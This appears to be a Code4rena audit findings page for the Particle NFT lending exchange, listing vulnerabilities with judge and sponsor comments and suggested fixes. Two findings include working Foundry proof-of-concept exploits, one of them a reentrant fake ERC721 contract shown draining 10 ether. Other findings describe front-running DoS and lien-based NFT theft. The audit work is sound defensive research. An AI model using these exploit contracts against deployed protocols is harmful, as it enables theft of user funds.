Platform: Code4rena
Start Date: 30/05/2023
Pot Size: $24,170 USDC
Total HM: 10
Participants: 5
Period: 3 days
Judge: hansfriese
Total Solo HM: 2
Id: 244
League: ETH
Rank: 2/5
Findings: 5
Award: $0.00
π Selected for report: 4
π Solo Findings: 1
π Selected for report: rbserver
Also found by: adriro, bin2chen, d3e4, minhquanym
Data not available
borrower can block the bidding
auctionBuyNft()
When the bid is successful and there is an extra amount, it will be refunded to borrower
The code is as follows:
function auctionBuyNft( Lien calldata lien, uint256 lienId, uint256 tokenId, uint256 amount ) external override validateLien(lien, lienId) auctionLive(lien) { ... // pay PnL to borrower uint256 payback = lien.credit + lien.price - payableInterest - amount; if (payback > 0) { payable(lien.borrower).transfer(payback); //<--------@audit payback to borrower }
Using transfer()
, a malicious borrower who is a contract can increase the gas consumption of receive()
, causing transfer()
to revert and thus prevent bidding
Note: withdrawEthWithInterest() has a similar problem
Add claim
mechanism, if transfer
fails, it will enter the cliams
queue, and borrower
will execute claims()
to get back the money.
Context
#0 - c4-judge
2023-06-06T06:16:04Z
hansfriese marked the issue as satisfactory
#1 - c4-judge
2023-06-06T06:35:41Z
hansfriese marked the issue as duplicate of #21
#2 - c4-judge
2023-06-06T07:33:56Z
hansfriese marked the issue as duplicate of #31
#3 - c4-sponsor
2023-06-07T01:41:13Z
wukong-particle marked the issue as sponsor confirmed
#4 - wukong-particle
2023-06-07T01:41:45Z
Correct finding, correct duplication. Suggestion good as well.
#5 - c4-judge
2023-06-07T13:56:57Z
hansfriese changed the severity to 3 (High Risk)
#6 - wukong-particle
2023-06-12T23:06:42Z
π Selected for report: bin2chen
Also found by: minhquanym
Data not available
Use other Lien's NFTs for repayment
_execBuyNftFromMarket()
Whether the NFT is in the current contract after buy, to represent the successful buy of NFT
function _execBuyNftFromMarket( address collection, uint256 tokenId, uint256 amount, uint256 useToken, address marketplace, bytes calldata tradeData ) internal { ... if (IERC721(collection).ownerOf(tokenId) != address(this) || balanceBefore - address(this).balance != amount) { revert Errors.InvalidNFTBuy(); } }
But before executing the purchase, it does not determine whether the NFT is already in the contract
Since the current protocol does not limit an NFT to only one Lien, the _execBuyNftFromMarket()
does not actually buy NFT, the funds is used to buy other NFTs but still can meet the verification conditions
Example.
sellNftToMarket(1)
, and NFT_A is bought by jackIERC721(collection).ownerOf(tokenId) ! = address(this) || balanceBefore - address(this).balance ! = amount
and bob gets an additional NFT_KTest code:
function testOneNftTwoLien() external { //0.lender supply lien[0] _approveAndSupply(lender,_tokenId); //1.borrower sell to market _rawSellToMarketplace(borrower, address(dummyMarketplace), 0, _sellAmount); //2.jack buy nft address jack = address(0x100); vm.startPrank(jack); dummyMarketplace.buyFromMarket(jack,address(dummyNFTs),_tokenId); vm.stopPrank(); //3.jack supply lien[1] _approveAndSupply(jack, _tokenId); //4.borrower buyNftFromMarket , don't need buy dummyNFTs , buy other nft OtherDummyERC721 otherDummyERC721 = new OtherDummyERC721("otherNft","otherNft"); otherDummyERC721.mint(address(dummyMarketplace),1); console.log("before borrower balance:",borrower.balance / 1 ether); console.log("before otherDummyERC721's owner is borrower :",otherDummyERC721.ownerOf(1)==borrower); bytes memory tradeData = abi.encodeWithSignature( "buyFromMarket(address,address,uint256)", borrower, address(otherDummyERC721),//<--------buy other nft 1 ); vm.startPrank(borrower); particleExchange.buyNftFromMarket( _activeLien, 0, _tokenId, _sellAmount, 0, address(dummyMarketplace), tradeData); vm.stopPrank(); //5.show borrower get 10 ether back , and get other nft console.log("after borrower balance:",borrower.balance / 1 ether); console.log("after otherDummyERC721's owner is borrower :",otherDummyERC721.ownerOf(1)==borrower); } contract OtherDummyERC721 is ERC721 { // solhint-disable-next-line no-empty-blocks constructor(string memory name, string memory symbol) ERC721(name, symbol) {} function mint(address to, uint256 tokenId) external { _safeMint(to, tokenId); } }
$ forge test --match testOneNftTwoLien -vvv [PASS] testOneNftTwoLien() (gas: 1466296) Logs: before borrower balance: 0 before otherDummyERC721's owner is borrower : false after borrower balance: 10 after otherDummyERC721's owner is borrower : true Test result: ok. 1 passed; 0 failed; finished in 6.44ms
_execBuyNftFromMarket
to determine the ownerOf() is not equal to the contract address before buying
function _execBuyNftFromMarket( address collection, uint256 tokenId, uint256 amount, uint256 useToken, address marketplace, bytes calldata tradeData ) internal { if (!registeredMarketplaces[marketplace]) { revert Errors.UnregisteredMarketplace(); } + require(IERC721(collection).ownerOf(tokenId) != address(this),"NFT is already in contract ") ...
Context
#0 - c4-judge
2023-06-06T06:15:34Z
hansfriese marked the issue as satisfactory
#1 - hansfriese
2023-06-06T10:11:55Z
PoC -> Marked as primary
#2 - c4-judge
2023-06-06T10:11:59Z
hansfriese marked the issue as primary issue
#3 - c4-sponsor
2023-06-06T22:01:06Z
wukong-particle marked the issue as sponsor confirmed
#4 - c4-judge
2023-06-07T13:54:00Z
hansfriese marked the issue as selected for report
#5 - wukong-particle
2023-06-07T18:07:12Z
π Selected for report: bin2chen
Data not available
re-enter steal funds
_execSellNftToMarket()
The number of changes in the balance to represent whether the corresponding amount has been received
function _execSellNftToMarket( address collection, uint256 tokenId, uint256 amount, bool pushBased, address marketplace, bytes calldata tradeData ) internal { ... if ( IERC721(collection).ownerOf(tokenId) == address(this) || address(this).balance - ethBefore - wethBefore != amount ) { revert Errors.InvalidNFTSell(); }
Since the current contract doesn't have any nonReentrant
restrictions
Then the user can use reentrant and pay only once when multiple _execSellNftToMarket()
s share the same transfer of funds
Here are some examples.
IERC721(collection).safeTransferFrom()
for re-entry.
Note: The collection is an arbitrary contract, so safeTransferFrom()
can be any code.address(this).balance - ethBefore - wethBefore ! = amount
so that only one payment is made, reaching the sellNftToMarket()
twice
Test code:
add to ParticleExchange.t.sol
function testReenter() public{ vm.deal(address(particleExchange),100 ether); FakeERC721 fakeERC721 = new FakeERC721(particleExchange,address(dummyMarketplace),"fake","fake"); vm.deal(address(fakeERC721),10 ether); fakeERC721.execSteal(); } contract FakeERC721 is ERC721 { ParticleExchange private particleExchange; address private marketplace; uint sellAmount = 10 ether; constructor(ParticleExchange _particleExchange,address _marketplace, string memory name, string memory symbol) ERC721(name, symbol) { particleExchange = _particleExchange; marketplace = _marketplace; } function mint(address to, uint256 tokenId) external { _safeMint(to, tokenId); } function execSteal() external { //0. mint nft and supply lien uint256 tokenId = 1; _mint(address(this), tokenId); _mint(address(this), tokenId + 1); _setApprovalForAll(address(this),address(particleExchange), true); //console.log(isApprovedForAll(address(this),address(particleExchange))); uint256 lienId = particleExchange.supplyNft(address(this), tokenId, sellAmount, 0); uint256 lienId2 = particleExchange.supplyNft(address(this), tokenId + 1, sellAmount, 0); uint256 particleExchangeBefore = address(particleExchange).balance; uint256 fakeNftBefore = address(this).balance; console.log("before particleExchange balance:",particleExchangeBefore / 1 ether); console.log("before fakeNft balance:",fakeNftBefore / 1 ether); //1.sell , reenter pay one but sell two lien sell(lienId,tokenId,sellAmount); //2. repay lien 1 get 10 ether funds particleExchange.repayWithNft( Lien({ lender: address(this), borrower: address(this), collection: address(this), tokenId: tokenId, price: sellAmount, rate: 0, loanStartTime: block.timestamp, credit: 0, auctionStartTime: 0 }), lienId, tokenId ); //3. repay lien 2 get 10 ether funds particleExchange.repayWithNft( Lien({ lender: address(this), borrower: address(this), collection: address(this), tokenId: tokenId + 1, price: sellAmount, rate: 0, loanStartTime: block.timestamp, credit: 0, auctionStartTime: 0 }), lienId2, tokenId + 1 ); //4.show fakeNft steal funds console.log("after particleExchange balance:",address(particleExchange).balance/ 1 ether); console.log("after fakeNft balance:",address(this).balance/ 1 ether); console.log("after particleExchange lost:",(particleExchangeBefore - address(particleExchange).balance)/ 1 ether); console.log("after fakeNft steal:",(address(this).balance - fakeNftBefore) / 1 ether); } function sell(uint256 lienId,uint256 tokenId,uint256 sellAmount) private{ bytes memory tradeData = abi.encodeWithSignature( "sellToMarket(address,address,uint256,uint256)", address(particleExchange), address(this), tokenId, sellAmount ); particleExchange.sellNftToMarket( Lien({ lender: address(this), borrower: address(0), collection: address(this), tokenId: tokenId, price: sellAmount, rate: 0, loanStartTime: 0, credit: 0, auctionStartTime: 0 }), lienId, sellAmount, true, marketplace, tradeData ); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public virtual override { if(from == address(particleExchange)){ if (tokenId == 1) { //tokenId =1 , reenter , don't pay sell(1,tokenId + 1 ,sellAmount); }else { // tokenId = 2 ,real pay payable(address(particleExchange)).transfer(sellAmount); } } _transfer(_ownerOf(tokenId),to,tokenId); //anyone can transfer } fallback() external payable {} }
$ forge test --match testReenter -vvv Running 1 test for test/ParticleExchange.t.sol:ParticleExchangeTest [PASS] testReenter() (gas: 1869563) Logs: before particleExchange balance: 100 before fakeNft balance: 10 after particleExchange balance: 90 after fakeNft balance: 20 after particleExchange lost: 10 after fakeNft steal: 10
Test result: ok. 1 passed; 0 failed; finished in 4.80ms
Add nonReentrant
restrictions to all Lien-related methods
Reentrancy
#0 - c4-judge
2023-06-06T06:14:29Z
hansfriese marked the issue as satisfactory
#1 - c4-sponsor
2023-06-06T19:03:47Z
wukong-particle marked the issue as sponsor confirmed
#2 - hansfriese
2023-06-07T07:05:38Z
Good finding!
#3 - wukong-particle
2023-06-07T22:45:14Z
π Selected for report: bin2chen
Also found by: d3e4, minhquanym, rbserver
Data not available
Possible take away other Lien's NFT
withdrawNftWithInterest()
Used to retrieve NFT
The only current restriction is that if you can transfer out of NFT, it means an inactive loan
function withdrawNftWithInterest(Lien calldata lien, uint256 lienId) external override validateLien(lien, lienId) { if (msg.sender != lien.lender) { revert Errors.Unauthorized(); } // delete lien delete liens[lienId]; // transfer NFT back to lender /// @dev can withdraw means NFT is currently in contract without active loan, /// @dev the interest (if any) is already accured to lender at NFT acquiring time IERC721(lien.collection).safeTransferFrom(address(this), msg.sender, lien.tokenId); ...
However, the current protocol does not restrict the existence of only one Lien in the same NFT
For example, the following scenario.
sellNftToMarket()
The result is: jack's NFT is lost, and bob's funds are also lost
Need to determine whether there is a Loan
function withdrawNftWithInterest(Lien calldata lien, uint256 lienId) external override validateLien(lien, lienId) { if (msg.sender != lien.lender) { revert Errors.Unauthorized(); } + require(lien.loanStartTime == 0,"Active Loan");
Context
#0 - romeroadrian
2023-06-04T00:09:12Z
Nice finding
#1 - c4-judge
2023-06-06T06:13:32Z
hansfriese marked the issue as satisfactory
#2 - c4-judge
2023-06-06T08:05:16Z
hansfriese marked the issue as primary issue
#3 - c4-sponsor
2023-06-06T19:00:10Z
wukong-particle marked the issue as sponsor confirmed
#4 - c4-judge
2023-06-07T13:53:46Z
hansfriese marked the issue as selected for report
#5 - wukong-particle
2023-06-07T18:30:09Z
π Selected for report: bin2chen
Also found by: d3e4, minhquanym
Data not available
DOS Attack
addCredit()
can be called by anyone, and the msg.value
is as small as 1 wei
.
Users can modify Lien at a small cost, causing the value stored in liens[lienId]=keccak256(abi.encode(lien))
to change
By front-run, the normal user's transaction validateLien()
fails the check, thus preventing the user's transaction from being executed
The following methods will be exploited: (most methods with validateLien()
will be affected)
For example.
auctionBuyNft()
is used to prevent others from biddingstartLoanAuction()
to prevent the lender from starting the auctionstopLoanAuction()
is used to stop Lender from closing the auction
etc.addCredit()
can execute only be the borrowerContext
#0 - c4-judge
2023-06-06T06:15:43Z
hansfriese marked the issue as satisfactory
#1 - hansfriese
2023-06-06T10:26:21Z
Concise explanation and reasonable mitigation recommendation. Marked as primary.
#2 - c4-judge
2023-06-06T10:26:47Z
hansfriese changed the severity to 3 (High Risk)
#3 - c4-judge
2023-06-06T10:27:12Z
hansfriese marked the issue as primary issue
#4 - hansfriese
2023-06-06T10:33:35Z
Preventing borrowers from repaying NFT by causing DoS for repayWithNft
is another severe exploit. (#40)
#5 - c4-sponsor
2023-06-06T19:21:19Z
wukong-particle marked the issue as disagree with severity
#6 - wukong-particle
2023-06-06T19:25:53Z
Should be med risk because no fund or asset can be stolen. Add credit incur non-trivial gas so DOS can't economically happen very often.
We agree with the suggestion to add borrower only check and add a minimum 0.01 ETH credit limit.
#7 - c4-sponsor
2023-06-06T19:26:01Z
wukong-particle marked the issue as sponsor confirmed
#8 - hansfriese
2023-06-07T06:37:36Z
Agree with the sponsor. Downgrading to Medium.
#9 - c4-judge
2023-06-07T06:37:50Z
hansfriese changed the severity to 2 (Med Risk)
#10 - c4-judge
2023-06-07T13:54:11Z
hansfriese marked the issue as selected for report
#11 - d3e4
2023-06-08T13:50:46Z
We agree with the suggestion to add borrower only check and add a minimum 0.01 ETH credit limit.
Adding a borrower only check seems good. But I am concerned that 0.01 ETH is not enough. If the max price is 72 ETH, then the auction price will increase 0.01 ETH every block. It then seems very reasonable that the borrower could still profitably DoS auctionBuyNft()
so that he himself can call it when the price is close to max.
This is of course an illegitimate use case of addCredit()
. A way to avoid having any minimum limit for a legitimate use of addCredit()
is to enforce that the borrower is solvent after adding credit. This way the hefty minimum limit only applies to adding additional credit which is what is susceptible to exploits.
#12 - wukong-particle
2023-06-09T18:40:46Z
π Selected for report: adriro
Also found by: bin2chen, d3e4, minhquanym, rbserver
Data not available
L-01:_execSellNftToMarket() IERC721.ownerOf() method will revert after NFT has burn(), resulting in sell failure
_execSellNftToMarket()
uses IERC721(collection).ownerOf(tokenId) == address(this)
at the end of the method to determine if it is InvalidNFTSell
But in some extreme cases, for example, people who buy NFTs with the intention of burning them, but use ownerOf(), resulting in a revert
function ownerOf(uint256 id) public view virtual returns (address owner) { require((owner = _ownerOf[id]) ! = address(0), "NOT_MINTED"). }
_execSellNftToMarket ()
purpose is to sell NFT, even if this sell NFT was burned, should also be successful, should not be NFT burn restrictions, resulting in the inability to sell
It is recommended to use try/catch, if it has been burn, considered a valid sell
L-02:_withdrawAccountInterest() may not be able to use transfer()
to receive funds if lender is a contract
It is recommended to add the entry receiver
#0 - hansfriese
2023-06-06T06:18:58Z
L2
#1 - c4-judge
2023-06-06T10:47:22Z
hansfriese marked the issue as grade-b
#2 - wukong-particle
2023-06-06T23:09:43Z
L1: dispute, we should revert if OwnerOf(tokenId) === address(this) (sell not successful), not related to burn or not
L2: acknowledged, it's receiver's responsibility to have a way to receive ETH properly (e.g., EOA or multisig)
#3 - c4-sponsor
2023-06-06T23:10:15Z
wukong-particle marked the issue as sponsor disputed
#4 - hansfriese
2023-06-07T09:37:21Z
L1: Invalid L2: Low
L 1
#5 - wukong-particle
2023-06-09T21:49:49Z